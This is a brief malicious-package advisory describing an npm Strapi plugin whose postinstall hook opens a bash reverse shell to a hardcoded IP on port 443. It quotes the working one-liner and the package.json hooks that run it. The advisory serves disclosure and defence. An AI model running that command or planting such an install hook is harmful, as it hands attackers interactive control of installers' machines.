strapi-plugin-proccresh-meeb@3.6.8

Summary

strapi-plugin-proccresh-meeb ships a postinstall dropper that opens a bash reverse shell to the hardcoded IP 14.225.210.85 on TCP/443 at npm install time. package.json declares "scripts": { "postinstall": "node postinstall.js" } and "main": "postinstall.js", so both npm install and any require() of the package unconditionally execute postinstall.js, which runs bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1', connecting the installer's shell stdio to the attacker-controlled host. The package's own description self-identifies as Reverse shell payload for Strapi. Result is full interactive remote code execution on the installer's machine with no user interaction.

Source: amazon-inspector (c65ca459d74b0be577eb0a1476ec8b9de089a524019ea9ef0061c5ee42e00729)